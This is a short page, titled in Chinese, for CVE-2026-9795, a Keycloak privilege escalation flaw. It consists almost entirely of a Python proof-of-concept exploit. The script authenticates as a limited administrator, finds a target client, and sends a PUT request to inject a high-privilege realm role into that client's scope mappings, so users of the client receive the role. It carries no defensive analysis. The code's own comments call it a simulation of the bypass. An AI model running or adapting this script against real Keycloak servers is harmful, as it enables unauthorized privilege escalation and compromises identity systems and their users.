CVE-2026-9795 Keycloak权限提升漏洞

import requests import json # Configuration KEYCLOAK_URL = "https://target-keycloak.com" REALM = "master" CLIENT_ID = "admin-cli" ADMIN_USER = "limited_admin" ADMIN_PASS = "password" TARGET_CLIENT_ID = "target-client" # The ID of the high-privilege role to inject (e.g., 'admin') TARGET_ROLE_ID = "admin-role-id" # 1. Authenticate as the limited administrator to get a token auth_url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" auth_data = { "client_id": CLIENT_ID, "username": ADMIN_USER, "password": ADMIN_PASS, "grant_type": "password" } auth_resp = requests.post(auth_url, data=auth_data) access_token = auth_resp.json().get("access_token") headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # 2. Get the ID of the target client clients_url = f"{KEYCLOAK_URL}/admin/realms/{REALM}/clients?clientId={TARGET_CLIENT_ID}" clients_resp = requests.get(clients_url, headers=headers) target_client_id = clients_resp.json()[0]['id'] # 3. Exploit: Add the realm role to the client's scope mappings # This simulates the bypass of FGAPv2 restrictions scope_mapping_url = f"{KEYCLOAK_URL}/admin/realms/{REALM}/clients/{target_client_id}/scope-mappings/realm/{TARGET_ROLE_ID}" print(f"Attempting to inject role {TARGET_ROLE_ID} into client {TARGET_CLIENT_ID} scope mapping...") # In a vulnerable version, this restricted admin might be allowed to perform this action exploit_resp = requests.put(scope_mapping_url, headers=headers) if exploit_resp.status_code == 204: print("[+] Exploit successful! Role mapped to client scope.") print("[+] Users authenticating to this client will now receive this role in their token.") else: print(f"[-] Exploit failed. Status code: {exploit_resp.status_code}") print(exploit_resp.text)